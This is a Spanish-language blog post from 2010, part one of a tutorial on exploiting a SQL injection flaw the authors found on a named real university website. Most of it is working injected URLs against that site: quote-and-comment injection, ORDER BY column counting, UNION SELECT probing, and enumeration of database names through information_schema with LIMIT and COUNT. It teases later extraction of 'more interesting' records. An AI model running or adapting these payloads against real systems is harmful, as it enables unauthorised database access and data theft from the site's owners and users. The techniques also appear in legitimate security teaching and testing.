miércoles, 22 de diciembre de 2010

SQLi Exploitation [Parte I]


Cómo están, hackers... hace algún tiempo atrás publicamos unas vulns SQLi y XSS que encontramos en la web de la universidad:

http://alguienenlafisi.blogspot.com/2010/10/multiples-vulnerabilidades-en.html
http://alguienenlafisi.blogspot.com/2010/10/y-siguen-los-sqli.html
http://alguienenlafisi.blogspot.com/2010/10/sql-injection-en-vicus.html

Hoy vamos a mostrar como explotar una de esas vulnerabilidades para obtener información de la base de datos }:] La url del SQLi que explotaremos es:

http://www.unmsm.edu.pe/nts.php?id=' AND 1=0 /*


Como se observa, en el campo id ponemos una comilla para alterar la sintaxis, luego un AND 1=0 para que la condicional bote falso y no se seleccione ningún registro y finalmente comentamos todo lo que venga después con /*.

Lo primero que haremos será averiguar el número de columnas que se seleccionan en la consulta ¿Y para qué queremos el número de columnas? Pues porque después usaremos UNION SELECT para unir el resultado de la consulta original con el resultado de nuestra consulta inyectada y esto solo es posible si ambos resultados tienen el mismo número de columnas. Si no, tira error.

Para averiguar el número de columnas usaremos la clausula ORDER BY. Esta clausula nos permite ordenar el resultado de la consulta en función al valor de la columna de la posición que especifiquemos. Si la posición es mayor que el número de columnas seleccionadas se producirá un error y así podremos deducir dicho número. Veamos:

/nts.php?id=' AND 1=0 ORDER BY 10/* --> Unknown column '10' in 'order clause'
/nts.php?id=' AND 1=0 ORDER BY 5/*  --> Ok
/nts.php?id=' AND 1=0 ORDER BY 7/*  --> Unknown column '7' in 'order clause'
/nts.php?id=' AND 1=0 ORDER BY 6/*  --> Ok

Podemos concluir que se seleccionan 6 columnas. Observe que usamos la estrategia divide y vencerás para reducir el número de consultas que hacemos (para algo tenía servir el curso de algoritmos no?)

Ahora necesitamos saber que columnas se muestran en la pagina web a fin de usar luego esas columnas para extraer la información de la base de datos. Hacemos esta consulta:

/nts.php?id=' AND 1=0 UNION SELECT 1,2,3,4,5,6/*


Podemos observar claramente que se muestran las columnas 3 y 6; usaremos estas. Las columnas 1, 2 y 5 también se muestran pero no tan claramente así que no las usaremos. Un ejemplo:

/nts.php?id=' AND 1=0 UNION SELECT 1,2,3,4,5,VERSION()/*


Bien, donde antes aparecía un 6 ahora aparece la versión de MySQL del servidor xD Esa es la idea.

Para empezar a sacar información necesitaremos saber el nombre de las bases de datos, el nombre de las tablas de cada base de datos y el nombre de las columnas de cada tabla. Como en este caso se trata de un servidor con MySQL toda esa información se encuentra en la base de datos information_schema. Pueden leer más sobre esta base de datos aquí:

http://dev.mysql.com/doc/refman/5.0/es/information-schema.html

La información sobre los nombres de las bases de datos está en la tabla schemata de information_schema. El nombre específicamente está en la columna schema_name. La consulta para obtener estos nombres sería así:

/nts.php?id=' AND 1=0 UNION SELECT 1,2,3,4,5,schema_name FROM information_schema.schemata/*


Pero como verás solo aparece un resultado. Para obtener los demás resultados usaremos la clausula LIMIT que nos permite limitar el número de resultados especificando desde que resultado y cuantos resultados mostrar. Veamos:

/nts.php?id=' AND 1=0 UNION SELECT 1,2,3,4,5,schema_name FROM information_schema.schemata LIMIT 1,1/*
/nts.php?id=' AND 1=0 UNION SELECT 1,2,3,4,5,schema_name FROM information_schema.schemata LIMIT 2,1/*
/nts.php?id=' AND 1=0 UNION SELECT 1,2,3,4,5,schema_name FROM information_schema.schemata LIMIT 3,1/*
...


Osea, vamos obteniendo un resultado a partir del primero, un resultado a partir del segundo y así hasta obtener todos los nombres de las bases de datos. Pero ¿Comó sabremos cuantos nombres hay, es decir cuantos registros tiene schemata? Eso lo podemos averiguar usando la función COUNT() de MySQL así:

/nts.php?id=' AND 1=0 UNION SELECT 1,2,3,4,5,(SELECT COUNT(*) FROM information_schema.schemata)/*


De esa forma podremos averiguar el número de registros que hay en cualquier tabla. Eso nos puede ser muy útil :)

Bien por ahora nos vamos a quedar aquí. Luego veremos como sacar los nombres de las tablas y columnas (que no es muy diferente) y también obtendremos otros registros más interesantes };]

Hasta la próxima... saludos.

2 comentarios:

  1. INTERESANTE Q :) JIJI.. loqito eres un ciberloqiiloO LO ADOROo.!!! MARYbuhUu ..!!

    ResponderEliminar